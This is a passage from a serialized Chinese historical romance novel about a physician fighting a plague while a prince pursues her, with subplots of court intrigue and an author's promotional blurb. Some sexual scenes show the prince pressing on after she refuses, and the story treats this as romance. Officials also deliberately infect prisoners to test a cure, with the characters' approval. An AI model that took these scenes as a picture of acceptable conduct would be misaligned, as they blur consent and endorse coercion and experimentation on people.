这种事男女都差不多,但凡对面是个健全的美貌异性, 拥有温存高超的服侍手段, 被服侍的人就不可能没感觉。 正常的如同尝到美食会生浸,嗅到了花香身心愉悦。 她只当被他取悦一场,也把他当个玩物, 用就用了,解了多日精神紧绷的疲乏,但是永远都不会喜欢他。 程芙翻过身,摸到小衣,想要穿上走人。 谁知他又来,缠着她道:“别动,就这样, 背后……还没试, 就试一下好不好,我保证一小会儿,收着力道……” 程芙用力地咬了咬牙,齿冷道:“你试的还少?在燕阳便是这样欺负过我多少回?我最讨厌背后了,你是狗吗?” “……”崔令瞻气道, “你骂人真难听。” 然而今日已经让他占了大便宜,倘若玩得过火,势必又要引起她的叛逆心思,崔令瞻磨磨蹭蹭须臾,见她异常排斥,如何也不肯就范,只好放弃,并不敢硬取。 他将她翻个面儿,抱在怀里,仔细低哄着,待她放松了警惕,又厚颜与她嬉笑起来。 程芙哪里笑得出,她怕痒,蹙眉一径推他,“不早了,我要回去。先前你答应我的。” “放心,作数。”他咬着她耳珠道,“这种事就是越多越亲近,发现没,现在你跟我说话都忘了用敬语,说明咱俩足够亲密了。” “以前用敬语是觉得你是个体面人,也很怕你。” “现在不怕了对不对?”他啄一啄她香腮,“是不是发现我也没那么凶,最坏也不过用这个……惩罚你……哎呀,不小心就……” 程芙颤声惊呼,“你,你,无耻……” 究竟是“不小心”还是蓄谋已久,二人心知肚明。 任她左遮右掩,终究阻拒不了滔天巨浪,眼睁睁看那浪涛拍下来,破开了形同虚设的门板,两人俱是一抖,意飞魄荡,高高下下。 太阳落山前,晕头转向的程芙得以回到临时官邸——的隔壁。 她收回把崔令瞻当玩物的想法,这根本不是人能驾驭动的玩物,她觉得自己的三魂六魄都要被人冲击散架,一时眼冒金星。 长此以往,她或许得服用些大补养肾之物。 崔令瞻容光焕发,用尚带着自己体温的斗篷包着她,男人宽大修长的斗篷足以将女人从头到脚裹藏,他抱她进了宅院。 荀叙听闻动静,飞跑出去,然而门外除了毅王的马车和几名随从,什么都没有。 半秃的枝头迎风飘了片叶子,打着旋儿在他眼前晃悠。 他过去问:“程医女现在何处?” 随从答:“和王爷在一起。” 墨砚还未走远,听见荀叙的声音立即倒了回去,笑吟吟打招呼,“荀御医,许久未见,别来无恙。” “一切安好。有些日子未见墨大珰。”荀叙温和道。 “奴才当不起大珰,荀御医继续称呼奴才一声墨内侍即可。” 荀叙从善如流,拱了拱手道:“荀某有几句肺腑之言,恳请墨内侍代为通禀毅王。” 墨砚:“您请说。” 荀叙:“程医女虽看似柔弱,实则坚韧勤敏,我们此行皆有分工,她不仅把自己的分内之事安排得井然有序,还超过了预期。” “她仁心医术,勇敢赤诚,冒着被感染瘟疫的危险主动接近当地医婆,传授医理常识,普及妇人病的预防和医治手段。” “她无惧焦布仁的势力,顶着骂名推行回灵丹,更参与治疗瘟疫方剂的诊断,所贡献的祛毒散马上就可以用到人的身上,一步步取代留有余病隐患的清腑散。” “这么好的方剂,她不为自己沽名钓誉,只求我和范大人将来在她的政绩添上她的生母‘柳余烟’三个字。” “即便出生微末,仍自尊自爱,孝心真情感天动地。” 墨砚笑意温煦,拢手平静地听荀叙述说。 荀御:“我想让毅王知道她是一颗宝贵的明珠,这样的她不该是玩物,更不可辜负。她极痛恨男子因美色接近她,轻-贱她。” “她身负朝廷的期待而来,有自己的差事和使命,没有服侍王爷床笫的义务。” 墨砚听完,欠一欠身回道:“程医女之宝贵,王爷自然比任何人都清楚。正因为程医女是明珠,王爷才真心倾慕她。您放心,她只是换了个住的地方,每日照常上衙,绝不耽误公务。王爷也从未想过插手她的仕途,否则她也不会现在还是个不入流的小特使。” “至于床不床笫更是无需您担心,她是王爷认定的未婚妻,两人恩爱天经地义。” 荀叙垂着手,淡淡冷笑了声,转身循着原路回去了。 墨砚伫立片刻,目送他的身影进了临时官邸,才摇摇头,重新迈进了隔壁的大门。 熊氏姐妹听闻程医女“搬家”,俱是丈二和尚摸不着头脑,不过这样的事情轮不到她们操心,她们的任务是服侍保护程医女,遂整理箱笼,也搬去了隔壁。 隔壁的二进院更大,男仆将中间的石雕门海移到了南面,方便医婆们捡药分药,西边的厢房则空出来充作讲堂,比原先的退步宽敞明亮许多。 程芙睡了一个时辰,被震散的魂魄方才归位,守在门外的熊秀听见动静,推门进来轻轻撩起帘子服侍她起身。 因那里又麻又胀,她吩咐小厨房烧热水,加上舒缓解乏的草药,泡了个药浴才觉得真正活了过来。 崔令瞻根本不是人。 明知她快吓死了,还要她全部吞…… 她在一波未平一波又起的晕晕乎乎中醉生梦死,有多快乐就有多担惊受怕。 对女子和男子的身体也有了更为深刻的认知。 那种事女子避免不掉受损,只是通常构不成影响,损失也很难为人察觉,时下许多人便忽略了婚后男方的行为才是导致妇人病的主要原因之一。 而她之所以没中招一则是自身勤洗,另一则也是至关重要的崔令瞻十分洁净,不管多着急,他都会停下,认真洗净每一根手指才真正地碰她,那里也一样。 因此他居心叵测时,房间必定备下铜盆药皂热水。 然而人各不同,不是所有人都有崔令瞻的条件,也不是所有人都同他一般天性喜洁,如若是一名懒惰猛烈男子,那么他的妻子必然会得妇人病。 也就是说光靠妇人自己勤洗爱护治标不治本,还得是双方共同努力的结果。然夫妻房帏之事谁也没法拿到明处来说,只能靠妇人自己规劝提醒丈夫。 所以她得把这些想法一点一点灌输给当地医婆,再经过医婆的口,一传十十传百,当地妇人自会慢慢有了相关认知,一代代传下去的。 程芙忙将想法飞速记在自己的医册杂谈,免叫其他事情耽搁从而遗忘。 “阿秀。”她在房里唤熊秀。 熊秀应答极快:“奴婢在,医女有何吩咐?” 程芙:“今晚卢公子若来此处,你便回他我受了轻伤,正在将养,叫他莫来打扰我。” 崔令瞻暂且不打算公开身份,遂用了生母的姓氏,此间外人跟前便都称作卢公子。 而他待她一向怜惜,若得知她“受了伤”定不敢肆意妄为,程芙便撒个小谎,借此清净几日,只盼他将那些乌七八糟的心思都放在正途上,早些为皂河县二万三千名冤魂沉冤得雪,叫吃人血馒头,丧心病狂的恶徒早日伏法。 人为瘟疫,伤天害理,罪孽滔天。 未料是她多虑了,崔令瞻当晚压根就没出现过。 次日墨砚突然来给她问安,应是来传话的。 墨砚:“王爷昨晚审了一夜重犯,遂歇在了一进院,今儿一早又去了泓塘卫,吩咐奴才给您传个话——傍晚肯定回来,同您一起用膳。” 程芙只抓住了关键字眼,忙问:“那犯人凶恶异常,可吐露什么?王爷可有决断?” 墨砚笑呵呵道:“这个奴婢就不清楚了,兹事体大,想必王爷没有十足的把握也不能公开内幕。不过您大可放一百个心,有王爷在,定不会叫这群宵小在定州为所欲为。” 程芙:“好,我明白了,多谢墨内侍。” “不敢当。”墨砚欠一欠身,向她作辞。 不多会儿,熊氏姐妹开始布膳,熬出米油的碧粳米粥和馒头酱菜,一碟鸡蛋。 如今的皂河县有的吃已是不幸中的万幸,想要吃得好吃得精基本不太可能。 崔令瞻此行轻装而来,除了一袋为阿芙准备的碧粳米,吃住基本从简。 他是金尊玉贵娇养长大的小王爷,却也经历过军队和诛反贼,既能享乐亦能吃苦,因而搬过来的程芙抛开碧粳米,饭食方面和先前并无太大区别。 程芙的性格也是享得了福也吃得下苦,更不会在吃住方面矫情,她细嚼慢咽用完早膳,就去了临时官邸。 范吏目见到她,便道:“焦布仁昨晚‘意外’身亡。” 程芙紧走两步,轻提衣摆跨进门槛,道:“怪不得王爷……卢公子一大早便去了泓塘卫。那边都不像好人,他过去了双拳难敌四手,不会出事吧?” 这种时候个人恩怨须得扔到一边,她是真心怕崔令瞻出事,如若他都降不住魑魅魍魉,这大昭离灭亡也不远了。 范吏目笑道:“定州不止一处卫所,与定州相邻的悠州前宁卫一天内可达皂河县,不消半个时辰便能将泓塘卫杀得片甲不留。” “冒犯亲王等同诛九族的谋逆,谁人不怕死?自己不怕死还能不怕一家老小也死么?指挥使但凡敢起这个念头,他的下属定会先杀了他以绝后患,还能顺便清个逆贼讨赏。” “他们不仅不敢造次,便是被你拿刀架在脖子上,也无人敢生有一丝不轨之心。” 这便是卫所制最厉害处之一。 泓塘卫指挥使扣押荀叙已是堵上所有前程,背后那位贵人若保不住他,定州这个地界怕是再没几人为其卖命。 原来如此,程芙的见识大为增长。 “我和董知县商量了一个推行祛毒散的妙计。”范吏目道,“县大牢目前关押十五名死囚,有的趁乱入室抢夺致人死亡,有的拐卖因瘟疫无家可归的妇孺,总之都是罪有应得的恶徒。” “董知县让这十五人染上瘟疫,而后服用祛毒散,若是死了正好省得刽子手磨刀,反之则证明了祛毒散的药效,便可正式推行给所有县民。” “董知县想借此一事将功补过,而那十五人若大难不死则可免于死刑,但仍旧要服四十年苦役。” 苦役的条件可想而知,多半等不到四十年就死了,等到了身子骨也残破不堪。 但求生欲会让人义无反顾选择四十年苦役,毕竟听起来仿佛可以多活四十年。 程芙:“此举倒也算合理利用,利国利民,能想出这个法子的董知县委实是个妙人,可惜了。” “可惜他身为父母官,却怕麻烦又怕事,对菩萨丸睁只眼闭只眼,还收了焦布仁的好处。”范吏目摇着头。 但他这个法子若能奏效,便也是功德一件,望他今后好自为之。 …… 与此同时的京师,柳余琴受阿芙所托,替其前往卓府问诊三奶奶,眼见得枯槁似的人儿一天比一天精神,每次见面三奶奶都会问程医女回京了吗? 柳余琴则回:“暂时没有。” 阿芙说最迟年后一定回来的。 她在京师等她。 三奶奶的痊愈使得程芙的名气立刻在京师的一个小贵妇圈子传开,自十月下旬,柳余琴陆续收到不少写给阿芙的帖子。 不多久,递邀帖的贵人们获知程医女于月初便已前往千里之外的疫区皂河县。 小小年纪胸怀天下,广济苍生,委实令人钦佩不已。 莫说是为名利而去,毕竟这明晃晃的名利摆在眼前,也没见谁愿意领命,反倒是程医女,主动请缨,这份勇气便值得一句褒奖了。 这日,同在双槐胡同的户部主事齐深终于查到了程芙的下落,并一五一十交代给了妻子徐氏。 只因她声称程芙乃乡下熟人家的亲戚。 徐峻茂躲在屏风后听得清清楚楚。 真真是踏破铁鞋无觅处,佳人竟然一直近在眼前! 双槐胡同的柳宅住的便是阿芙与她的姨母。 思及此,他口中发苦,心中百般酸涩,没想到深居简出,日日用心苦读,却错过了无数回遇见芙妹妹的机会。 柳余琴从卓府回来时,乌金西沉欲黄昏,一名绀蓝圆领袍的少年人修立她家门前的杏树下,露出的一截交领洁白如雪,生得唇红齿白,乖巧可人,然而面生,没见过。 少年人见她从骡车上下来,唇畔立刻漾出温文尔雅的笑意,那么甜,脸颊的梨涡仿佛盛满了蜜。 徐峻茂拱手作揖:“晚辈徐峻茂,家住西面那栋宅院,齐主事齐深是晚辈的姑父。请问您可是此间家主柳医女?” 原来是邻居家的小孩。柳余琴眉目顿时柔和许多,回道:“正是我。你有何事?” “我来找阿芙。”徐峻茂明亮的眼睛里盛着星光,“能否请您告知她一声,故人徐峻茂一直在寻她。” 柳余琴敛笑:“你如何认识我家阿芙的?” “从小就认识,青梅竹马四年。” 青梅竹马四年加上姓徐,柳余琴似乎想到了什么,脸色顿时黑了三分,冷声问:“你是清安县徐知县家老几?” “晚辈排行老二,您可直接叫我徐二郎。” “阿芙不在,以后不许过来烦她。”徐家没一个好东西,还把她打的浑身骨折,想起妹妹和阿芙在徐家过的日子,她恨不能把眼前的小崽子掐死,然而小崽子长得人高马大的,真掐起来她也掐不过,掐得过也不敢掐。 徐峻茂面似火烧,羞愧把面皮薄的少年人的脖颈乃至脸颊都烧成了红霞,嘴唇像涂了胭脂。 “对不起。”他弯腰致歉,“晚辈没有资格求您原谅,只是,只是,请您相信,从前的每一时每一刻,晚辈从未伤害过阿芙,待她的心,也每一时每一刻都炽热,不曾转移。” “阿芙亲口允诺晚辈,待她回到亲人身边,便嫁给晚辈。”徐峻茂乌黑的瞳仁微微晃,声音里带着丝颤意,“从前晚辈心无大志,只想与她快快乐乐在一起,殊不知快乐需要很多东西来维系,如今晚辈努力读书,只为考取功名娶她做进士娘子。” 他望着柳余琴越来越难看的脸色道:“您别担心,功名一日未取,晚辈一日不敢求娶阿芙,今日冒昧打扰,只是想知道她过得好不好。” 回答他的是一声巨大的摔门声。 柳医女恨透了徐家。 徐峻茂羽睫微颤,眼角溢出了一滴清泪。 他没有空想,而是经过了深思熟虑,只要考中进士,就可以去翰林院供职,便有了留在京师的藉口,也有了反抗父母的底气。 他要娶阿芙,远离所有让他们不开心的人和事,快快乐乐在一起。 他会努力做一个很有用的人,养她一辈子。 虽然现在的他还在依靠父母的银钱,但是他会把所有俸禄都给她,让她穿绸缎,头上永远戴着时新的头面,用最好的胭脂。 他,一定会很有钱的。 次早柳余琴一打开门,脸色登时乌云密布,徐家的小崽子又来了,左手拎着庆芳斋的点心,右手提着一筐这个季节贵得离谱的鲜鱼。 “给您和阿芙吃的。”他将东西放下,后退了两步,转过身飞快跑了—— 作者有话说:推一推预收文《被登基的前任报复了》,求收藏,可以求一个三百预收吗[狗头叼玫瑰] 丨强取豪夺丨前任复仇复到了一个被窝丨被窝外打架,被窝里和好丨 年少的皇太孙,音色清澈动人,对温浅道:“若得表姐为妇,当作椒房专宠。” 少年的誓言诚挚动人。 时光荏苒,五年后。 新帝登基两载,后位空悬,膝下尚无一儿半女。 这一年,温浅的未婚夫病故,她饱受族人苛责。 未料父亲骤然东山再起,并将她献给了表弟——当今新帝,封正五品美人。 …… 二十岁的温浅应了年少的戏言,成为表弟的妇人。 未料奸人揭发她为早逝的未婚夫写悼词,表弟噙着玩味的笑,当着她的面漫不经心念起来,末了,认真指出两处乏味造作,建议她提升内涵多读书,又道:“阿姐端的深情,世间哪个男子见了不怜惜。” 他口中的“怜惜”别有深意。 是夜便留宿将她“怜惜”,直至她有孕。 后来,他亲手为她戴上名为凤冠的“枷锁”,将她一生一世“锁”入椒房。 是他的报复,亦是他的誓言。 ——阿姐,你人品真的很差。 ——阿姐,你玩弄我的真心,我玩弄你,咱俩彼此彼此。 随遇而安伪乖女x纯情阴暗大坏批 ——食用指南—— 1.【男女双C】【俩人各有各的缺点】【均非真善美】,建议雷点密集/要求主角完美的宝宝谨慎入坑,注意【强取豪夺】四个字哦,如觉不适立即撤退,弃文不必告知,温言善语,你一定发大财!! 2.除了双C之外不作其他任何保证,怕雷勿入,架空历史,谢绝考据。 3.年龄差半岁 文案发表于2025年10月03日,已截图存证,碰瓷偷盗必究 第66章 远在皂河县的程芙早就将“以身相许”的官司抛诸脑后。 当初她委实倒霉, 才及笄就被大五岁的徐大少爷觊觎,三番五次险些丧命,还要被徐夫人咒骂“没皮没脸的贱-蹄子”, 狼狈之际遇到个足够粗的大腿徐峻茂, 她自然连哄带骗, 什么话都敢保证, 说的时候没想到人家会当真,更没想到当了真的人没有趁机占她清白之身。 被她给全须全尾逃了。 谁知紧接着就落入崔令瞻之手, 此人非但不如徐峻茂单纯懵懂,还多了心硬狠辣的特质, 程芙糊弄不了他, 想活着想自由就得付出——陪他睡觉。 后来她又跑了,如愿和亲人团聚,拥有自己的日子, 坏消息是再次被毅王纠缠,好消息是他学会了一些尊重,不那般强势压迫了。 可是程芙心里清楚,他不是他,也永远成为不了他。 世上再无令她深深动容的他,温暖她惊艳她的他。 倘若非要溯源某些暧昧的瞬间,大概是因他们长得一模一样…… 疫情尚未解决, 程芙觉得多思考男人一瞬都是罪过。 她和范吏目商讨接下来的方案。 因荀叙随崔令瞻一道离开, 临时官邸能拿主意的人只剩范吏目和程芙。 二人先给董知县写好了告示,布告所有县民菩萨丸有毒,官府的人在制作工坊发现了大量朱砂汞,如若长期服食,会对身体造成不可挽回的损伤, 而焦布仁情知败露,辩无可辩,于昨晚畏罪自戕。 此告示一发布,众人哗然。 焦布仁的死亡也令告示的可信度上升了好几级。 程芙又给衙门胥吏发放配好分量的祛毒散,大牢里的十五名死囚昨晚开始高烧,今早呕血,已然显现瘟疫的症状。 她从头包到脚只留两只眼睛,对胥吏道:“非投食喂水时尽量不要靠近单独隔离的牢房,出入通道每日都要洒三次烈酒,佩戴四毒汤煮沸过的面巾,离开时更得以烈酒擦手。人来人往的地方时刻都得烧艾。” 同样包的只剩两只眼睛的胥吏欠身应是。 清腑散使得皂河县的死亡人口大大减少,但不代表余下的人就不会再被感染。 毕竟普通县民还要养家,朝廷按时发放糊口的粮食已是最大的努力,但煮饭需要柴火,每天烧开水煮器皿面巾也需要柴火,总之对柴火的需求达到了从前的三四倍,导致大家不得不频繁出来砍柴拾草。 当地的里正拿出好主意,挨家挨户通知,分发号牌,单数和双数交替日子出门。董知县则命乡绅的山林暂时充公,不得圈地自用,保证所有人的柴火供应。 毕竟对抗瘟疫是大家的事,不把防疫措施做好,谁也不知道下一个传染的会是谁。 拥有山林的乡绅们只能心疼地抹眼泪,咬着牙任由一群穷酸泥腿子去他们家的山头砍柴。 程芙爬上屋顶,眺望片刻,欣慰一笑。 出门的人很少,大家遇到了都自觉隔开一段距离。 当晚崔令瞻如常归来。 两个人已经大半年未曾坐在一块儿吃饭。 他抬眸多打量了她两眼。 程芙暗暗防备,准备好了拒阻他求-欢的措辞。 谁知又是她多虑了,崔令瞻并未有招惹她的意图,甚至连句话都没多说,只叮嘱她早些歇息,便匆匆出门。 他前脚一离开,墨砚后脚赶过来,笑吟吟对她道:“皂河县只能进不得出,严守固若金汤,与焦布仁狼狈为奸的苗疆巫医定然也出不去,留在此地终究是个祸害,王爷担心夜长梦多,遂前去亲自调用卫所兵力。请您切勿外出,保重身体。” 想到事情的严重,程芙一凛,“我明白了,多谢墨内侍告知。” 次日董知县就传来好消息,服用祛毒散的死囚当晚转为低烧,今早恢复了正常体温,只是依旧咳血,体虚。 范吏目比程芙还高兴,“继续煎服,效果好不好三日后方可定论!” 跑腿的胥吏领命继续回县衙观察情况。 三日后,也就是冬月十一,荀叙归来,县衙胥吏也带来了一则振奋人心的好消息,十五名死囚痊愈了十三名,剩下的两名因本身虚弱的缘故还在呕血,但血量明显降低,次数也从每日四五次转为一次。 除此之外,十五人均无其他症状。 范吏目沧桑的脸渐渐展开了一抹笑意。 程医女成功了,祛毒散有用,且无余病征兆,哪怕余病需要二三十日的观察过程,到这一步,已经完全优于清腑散了。 皂河县在一天天变好。 瘟疫之患完全解除前也不再有妇人怀孕。 荀叙惊喜地望向程芙,她也在看他,他莞尔一笑,挑挑眉。 腊月中旬,里正兴高采烈,夹着统册亲自上门,正好遇见站在门外的范吏目,立刻弯着腰施礼,高声道:“已经连续十日未曾出现新增病例,祛毒散见效速度和清腑散差不多,体虚的恢复相对慢一些,可是大家都说新方剂更好,喝完手不抖头也不晕,干体力活也没有心慌气短的反应。” 把程芙高兴得险些翻下屋顶,荀叙慌忙举高双手,她却顺着梯子灵巧地爬了下来,荀叙扶了把她的胳膊。 隔着层棉袄都能感觉到姑娘纤细柔软的手臂。 荀叙:“你是小猴子吗?为何每日都要爬上屋顶?” “……”程芙道,“观察县民的意识和状态,大家真的都有配合县衙发布的所有告示。” 荀叙笑了笑。 “阿芙。”他忽然喊了她一声,“苗疆巫医已经落网。” 程芙闻听此言,脸庞都明亮了三分,“被毅王抓到的吗?” 荀叙“嗯”了声,“宝宣府的傅总兵也来了皂河县。”说着,又怕程芙听不懂,忙解释道,“是奉了朝廷之命前来襄助王爷安稳大局。” “这些大人物现在都在我们皂河县?!”程芙有些后怕,“是不是要打仗?” 荀叙笑道:“是毅王的主意。如今皂河县百废待兴,尤其明年的春耕重于一切,毅王遂调用了部分兵力整治良田,不过不多,主要还是靠雇佣当地民众,这样大家都有维持生计的营生,也能尽快恢复本地兴荣。” 以工代赈,取民用于民。 毅王是真的很擅长灵活调配民生余钱,不怪燕阳兵肥马壮,百姓富足。 程芙愣了下,慢慢道:“没想到他这么多主意。” 荀叙并不想夸崔令瞻,遂转移话题,与她聊祛毒散的进展。 话分两头,皂河县的人为瘟疫属实超出常人的接受范围,皇帝的忍耐也到了极限。此时的京师人心惶惶,魑魅魍魉做梦也没想到事情竟越闹越大。 死一个焦布仁并不能阻止事态发展。 当晚北镇抚司的新任指挥佥事凌榆白率缇骑亲自走了趟东宫堂舅的府邸。 等待他们的却是一具面目狰狞的尸首,邱子昂在锦衣卫前来的路上便已暴毙而亡,死因是酗酒无度。 凌云冷笑一声:“把尸体抬回去。” “不可!”立刻有家眷尖叫,哭声此起彼伏。 “不可,万万不可!进了北镇抚司,谁知你们的仵作会对大爷的遗体做什么!妾身不准你们任何人伤害大爷的发肤……” 邱子昂的爹娘也在地上哭得起不来,声称如要抬走他们家的孩儿便先从他们的尸体上跨过。 凌云抽刀,银光乍闪,似有长空劈月的森冷直冲众人面门。 待众人回过神,邱老爹已被凌云捅了个对穿,像条搁浅多日的鱼,动也不动挂在锋利的绣春刀身,深红色的血液汩汩往外冒。 凌云:“好了,你已经是尸体,我可以跨过去。” 众人:“……?” 几声更响亮的惊叫和哀嚎再次响起,而后骤然戛然而止,晕倒的晕倒,逃窜的逃窜。 此夜,邱府上下鸡犬不宁。 宜和宫正殿,邱贵妃的一颗心也同样不安宁,失手打翻了剔红漆托盘,套着尖细金护甲的手指颤颤地指着跪在地上的崔逞乾,声音却仿佛被卡在喉咙,好半晌才摇着头,挤出了一线沙哑:“你,你,你这个孽畜,那是你堂舅,亲堂舅啊!下一步你还要谁死?你亲舅舅?亲外祖父?” “儿不敢,儿只是为了您,也为了自己!”崔逞乾膝行上前,抱着母妃痛哭流涕,“此番若非吴指挥卖了我一个人情,堂舅就要被抓去北镇抚司。那种地方,鬼进了都得拉磨,依堂舅的性情,怕是不等第二道刑罚便都招了!” 邱贵妃别过脸,默默垂泪。 堂兄自小与她最亲厚,还救过她的命,这些年更是依靠堂兄的贴补,她在宫里如鱼得水,过得比任何妃嫔都体面,如今什么都没了。 她不是哭堂兄,而是哭自己的未来。 她可以和着血泪接受年轻貌美的嫔妃分走自己的宠爱,却决不能接受吃穿用度输给旁人。 那是年老色衰的她仅有的体面。 崔逞乾:“堂舅死了,您只是暂时委屈一下;堂舅不死,咱们娘俩可就要死了……” 邱贵妃一个激灵,直勾勾瞪着他,目光里透着不容错识的惊恐。 崔逞乾:“凌榆白是父皇的人,魏大珰更是惟父皇之命是从,儿的手根本伸不进北镇抚司,唯有把死人留给他们,方能保住青山。留得青山在不怕没柴烧。” “凌榆白……”邱贵妃迅速擦了擦脸,拧眉想起了什么,“他父亲可是凌怀槿?” 前大理寺卿。 崔逞乾用力点头说是,“当年凌怀槿渎职案闹得朝野沸沸扬扬,本该满门抄斩,父皇念其劳苦功高,也念在范阳卢氏的情面,只流放了凌氏夫妇,发卖凌家一多半仆役,其余全部轻拿轻放。” 之后,皇帝偶然发现凌榆白小小年纪聪明伶俐,便收养送去了北镇抚司。如今他不仅拿回祖产还平步青云,自然对皇帝忠心不二,竭诚尽节。 他谁都敢得罪,连东宫的情面都不给。 崔逞乾试过几次,一点交情都攀不上,拿此人无可奈何。 腊月十八大寒,京师迎来了一场极寒,鹅毛大雪飘了一天一夜,街市雪深及膝,车马不得行。 连朝会也不得不延后数日。 而皂河县夜尽天明,无雪,天朗气清,碧空如洗。 当浅金色晨光笼罩民众面黄肌瘦的脸,一切就有了生机。 然而大昭的冬天都差不多,早冷晚冷都得冷。 临近年关,家家户户都要过冬还要防疫,炭火逐日吃紧,穷闾阨巷已冻逝了多名老人。 棉花是重要物资,供不应求,官府也无能为力。 风烛残年的老人最怕冬季,熬过去便是一春,熬不过就没了。 腊月廿二,迟来的一场大雪纷纷扬扬。 程芙穿了三层棉袄,仍是冻的直跺脚。 崔令瞻花大价钱也只能买到最普通的木炭,白天取暖,晚上立即熄了,因味道大且不安全,燃烧时也不敢封闭门窗。 程芙十根水葱似的手指一夜之间冒出数颗冻疮。 学堂暂时没法讲了,因为冷。可她一根筋,仍是每日上衙,与荀叙、范吏目缩在东厢房烤着火开例会,翻阅疫情进展,调整方剂。 普通木炭烟味实在大,程芙忍不住打喷嚏。 荀叙:“阿芙。” “嗯?”程芙漂亮的眼睛看向他。 “再有六日便是除夕,县民的情况也很稳定,剩下都是些善后的事务,我便和范吏目商量过,明日起你便未时过来点个卯,不用待在这里。” 程芙愕然,嘴唇动了动。 荀叙:“范吏目年纪大了,岂能挨冻,我也觉得冷,不是单独为你破例。” 太冷了。 他也没经受过这般艰苦。 程芙:“好,我听你的。” 荀叙本想问问她的情况,想把木炭分给她,忽然又想起她什么都不缺,跟在毅王身边,应是事事不需要他来操心的。 于是,他变得沉默。 可还是亲自送她回去。 两人并肩而行,尚未走出二进院,庑廊尽头出现了熟悉的身影。 荀叙:“王爷。” “王爷。”程芙仰脸看看崔令瞻。 崔令瞻淡淡“嗯”了声,旁若无人解下温暖的狐裘斗篷,将程芙包裹,展臂揽她入怀,接她回家。 “荀大哥,我走了。” “好。” 荀叙目送两人离去的背影。 待一回到自家暖阁,崔令瞻不悦道:“大哥,谁是你大哥,怎不见你叫我声哥哥?” 程芙揣着手,道:“崔大哥。” 崔令瞻:“……” 此间虽是暖阁,也就睡觉前吩咐人烧了会儿炕,终究比不得真正的暖阁,但好歹没那么冷了。 省下的柴火则要烧热水加烘暖浴房以供崔令瞻和程芙擦洗。 晚上灯一熄,程芙立即爬进被窝蜷成一团,崔令瞻贴着她后背,把她抱在滚烫的怀中,她感到温暖和舒适,抵触他的力气便小了些。 “王爷,我头晕,肚子痛,还冷。” “知道,你每晚都要跟我说一遍。” “……”程芙顿了顿,又道,“上回你喂我吃的真是太医署新研制的避火丸?” “如假包换。他们根据你原本的配方稍加精进,已对身体全无害处,不信下回我陪你一起吃,你一颗我一颗。” “你做梦,我不舒服,我不要跟你做那种事。” 崔令瞻把头埋进她颈窝,不说话。 程芙忍不住问:“既然已无害,可否在民间推行,也好让妇人少受些苦楚。” “推行不了。” “是不是成本太高?” “是,一般人买不起,不过世家门阀倒是可以,也算帮到了少部分人。”崔令瞻把衣衫丢出被窝,一身结实流畅的肌肉。 被这样的他搂紧,程芙都快要出汗。 “阿芙。”他说,“其实嫁给我没那么糟,你这般仁慈大爱,燕阳有你这样的王妃,百姓一定很幸福……” “不行,你放开我!” “你不是说冷,我帮你焐热。” “你,你……”她说不出话,“我不……这……这里不冷。” “我试试。”他闭着眼认真地试,继续劝说她, “你憧憬的人世间,我们可以一起创造。” 程芙的呼吸越来越不稳,眼神愈发涣散。 “你讨厌秦楼楚馆,讨厌把好端端的女儿家当瘦马饲养,讨厌女子为人践-踏,我们可以一起想办法让它们不复存在。”他说,“总之嫁给我,你想要的都有实现的一日。” “可我讨厌你……”她咬紧了唇。 “真的吗?” “我……我……我讨厌……啊……啊……” 他用力推进,也推进她的灵魂。 她张大了嘴巴,想骂他,却被他喂了一粒避火丸,而后,他也吃了一粒。 “说你喜欢我。”他低低地命令。 “你无耻……啊……” 他教了她两个时辰说喜欢他。 她学不会,后半夜受不住了才哭着说喜欢。 她喜欢狗都不会喜欢他的。 再醒来,程芙的嗓子又沙又哑。 第67章 胡闹了两个时辰, 夜已深。 程芙用他的中衣擦了一遍,翻过身阖目休息,崔令瞻不怕冷, 下床拧了温热的湿帕子, 递给她, “脏不脏啊你, 擦干净。” 这个人床笫之间一直都很会伺候人,程芙接过帕子, 又擦了一遍,手指伸出被窝的一霎冰冷刺骨, 她连忙缩回。 崔令瞻笑了声。 “发没发现, 你现在都理所当然使唤本王。” 程芙充耳不闻。 三更天,两个人都收拾完才安静地躺进被窝。 崔令瞻才要睡,忽然听见她略略沙哑的声音, 她问:“王爷,您以前承诺的那些话都不做数吗?” 又开始对他用敬语。 崔令瞻含糊应了声,“何事?” “当初您和阿芙讲好的,不给名分,只要……只要老老实实陪您睡一段时间,就许我自由,或者给我找个合心意的人家嫁了……” 他不仅没给她真正的自由, 还想用“名分”两个字拴住她, 所图不过是长久霸占她的身体。 “我不是早已归还身契?”崔令瞻柔声道,“你早就自由。” “不,您没有。”程芙摇了摇头,“您刚才做了什么,您对我做了什么?” 他把她弱小的身子当成获得愉悦的工具, 一遍遍使用着。 “这是对良家女子做的事吗?”她呢喃。 崔令瞻:“……” “您是不是觉得反正我早就破过身子,那么睡我一次和百次便都没有区别?” “我没有。” “是不是发现我难以掌控?您舍不得杀我又拿我没办法。”程芙说,“不管您如何花言巧语诱惑,我仍是不肯做妾也不肯做外室,所以您一咬牙就把手里最大的一块饵料丢给我是不是?可您做梦也没想到我不识抬举……连王妃之位都不动容。” 干脆破罐子破摔,先玩着再说。 崔令瞻先是愣了一下,而后狼狈打断她:“我何时要你做,做,做外室的……” 后面的话过了脑子,回忆悉数涌上来,他透着惶恐的怒斥便也戛然而止。 因他知道曾经的自私与贪婪此刻都化作了利刃,利刃在她手中,她可以肆意地凌迟他。 崔令瞻连呼吸都凝滞。 他自己都刻意忘了的事,后见阿芙也没提过,不禁暗暗窃喜,为之庆幸,庆幸她是个善良大度的傻姑娘,或者是个记性不太好的姑娘,吃了亏受过委屈也闷不吭声,万没想到她一直都记着的。 她记着他在燕阳的一言一行。 她记得他们之间是如何开始的。 她记得他的初衷只是想玩弄她,玩腻了再打发掉,因他觉得她早已失贞,那么再多一个男人又有什么所谓,他又不是不给钱。 程芙:“我和凌云的事始终是您心里一根刺,对不对?您认定我和他有首尾。其实您错了,他跟您不一样。” 崔令瞻:“……” “他或许也馋我姿色,但他误以为我在清安县招蜂引蝶,又跟您行过苟且,觉得我脏,嫌弃,所以下不去嘴。救我姨母那回,实话跟您说,我主动送上门的,他都没要。帮我就是利益交换加上一点男人骨子里对美人的迁就,再无其他。” 她咽了下,继续道:“您就不一样了,一边嫌弃我脏一边怨恨我伤了苏姑娘,又一边把我睡着……您的心和身子真的是各忙各的。” 崔令瞻声音都开始颤抖:“我没有!” “其实我知道男人多少都会嫌我脏,可我也没要跟谁,更没有喜欢谁,你们的想法我根本不在乎,我只是觉得你这个人特逗,特言而无信,特别的无耻,一点点体面都不讲。” 崔令瞻僵硬地听着她的低语,浑身发冷。 